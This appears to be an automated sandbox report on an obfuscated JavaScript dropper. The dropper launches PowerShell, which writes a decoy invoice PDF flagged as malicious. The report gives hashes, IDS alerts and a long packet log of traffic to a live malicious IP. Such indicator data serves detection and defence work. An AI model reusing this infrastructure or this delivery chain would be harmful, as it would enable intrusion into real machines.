Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16989), with CRLF line terminators
Entropy (8bit):	4.911600591167278
TrID:
File name:	9191198332977923109.js
File size:	20'530 bytes
MD5:	5d2c90d76a85345cce1f65a2cdab1544
SHA1:	687d02895360b2e33cdd94dbee1deed07df8cd84
SHA256:	f74cff17690c742a9ee2149f80d5f3aa5cd4ba22e17c2904707d667f8d9ca95f
SHA512:	424abfe0532f8185d611f362e7f653dc40ea3f0399e3fe86791032947e0dd91d5b420b62f11ded6e10725f80225679f4bb2b66bbf6dcc1477b9b62bf976e03e7
SSDEEP:	384:PakEc/K3ncjXAGu7RUPUuRMZRu2EsbB6ZUF1TlR5XpshQkFwpy98zJjlLmtLLVD/:S6DXAGu7R1yFwpZzJjlqLVDU8OLpzVqx
TLSH:	5592A4CB8082DA2FE6E450F674C22CF5877EF39ECB5404885D92C4565A85027A6E27BE
File Content Preview:	function lzvdmyxuh(){pqmueeb=[1031,3079,5127,4103,2055,3072];var eoysgse=this[yiafmmcf+ejzxmi+gylxstqqv+onrknrgkr+edhkmfk+tlisc+wxvzsyty+dksbrd](this[fatvjtqgx+lyyutuv+gkyewj+gylxstqqv+omcoducu+yiafmmcf+dksbrd][pcbzaq+gylxstqqv+edhkmfk+ejzxmi+dksbrd+edhkm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:32:31.771870+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T19:32:34.558501+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:32:30.966372013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:30.971272945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:30.971353054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:30.974092007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:30.978858948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771707058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771732092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771738052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771785975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771797895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771847010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771869898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.771919012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.771936893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771950960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771962881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771976948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.771998882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.772020102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.776734114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.776792049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.776884079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.829401016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.829416037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.829510927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.892689943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.892745018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.892760992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.892796993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.892807961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.892869949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.892924070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.893064022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.893116951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.893131018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.893137932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.893167019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.893199921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.893213034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.893254995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.893943071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.893965960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.893978119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.894010067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.894036055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.894048929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.894083977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.894798994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.894850016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.894861937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.894870043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.894900084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.894938946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.894953012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.894993067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.895613909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.948950052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:31.957801104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.957823038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:31.957885981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.004956007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.004970074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.004981041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.005057096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.013407946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013447046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013457060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.013459921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013498068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013504982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.013562918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013576031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013587952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013607025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.013638020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.013792992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013849974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013863087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.013885975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.014025927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014036894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014050961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014064074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014074087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.014117002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.014724016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014735937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014746904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014769077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.014786959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014797926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.014800072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014813900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014827967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.014849901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.014873028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.015516043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.015563011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.015575886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.015604019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.015628099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.015641928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.015675068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.015701056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.015713930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.015743971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.016357899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.016407967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.016432047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.016443968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.016485929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.016524076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.016537905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.016555071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.016567945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.016573906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.016621113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.017344952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.017363071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.017374039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.017384052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.017395973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.017405987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.017432928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.044686079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.044701099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.044713020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.044806957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.044831038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.091825008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.091840982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.092015028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.125719070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.125761032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.125771046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.125853062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.125929117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.125929117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.125941992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.125953913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.125993967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.134171009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134205103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134215117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134251118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134253025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.134294987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134300947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.134342909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134390116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.134413004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134424925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134465933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.134486914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134497881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134540081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.134574890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134587049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.134629965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.135261059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135281086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135332108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.135340929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135355949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135400057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.135426044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135440111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135476112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.135504961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135516882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135528088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135540009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.135550976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.135584116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.136281967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.136336088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.136346102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.136373997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.136441946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.136451006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.136456966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.136462927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.136482954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.136506081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.136562109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.136624098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.136657000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.137334108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.137343884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.137353897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.137375116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.137391090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.137402058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.137414932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.137424946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.137438059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.137460947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.137486935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.137512922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.137522936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.137559891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.138267040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.138298035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.138309956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.138339996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.138488054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.138499022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.138509035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.138520956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.138531923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.138531923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.138544083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.138550997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.138577938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.139266014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.139276981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.139290094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.139303923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.139326096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.139345884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.139400005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.139410973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.139420986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.139436960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.139453888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.139462948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.139502048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.139535904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.139939070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.140249968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.140260935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.140270948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.140295029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.140357018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.140367985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.140377045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.140388966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.140399933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.140420914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.140436888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.140458107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.140476942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.141196012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.141231060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.141241074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.141246080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.141280890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.144812107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.178611994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.178659916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.178673029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.178699970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.178755999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.178782940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.212464094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212503910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212513924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212560892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212573051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212610006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212620974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212646008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.212738991 CET	80	49704	193.143.1.205	192.168.2.5
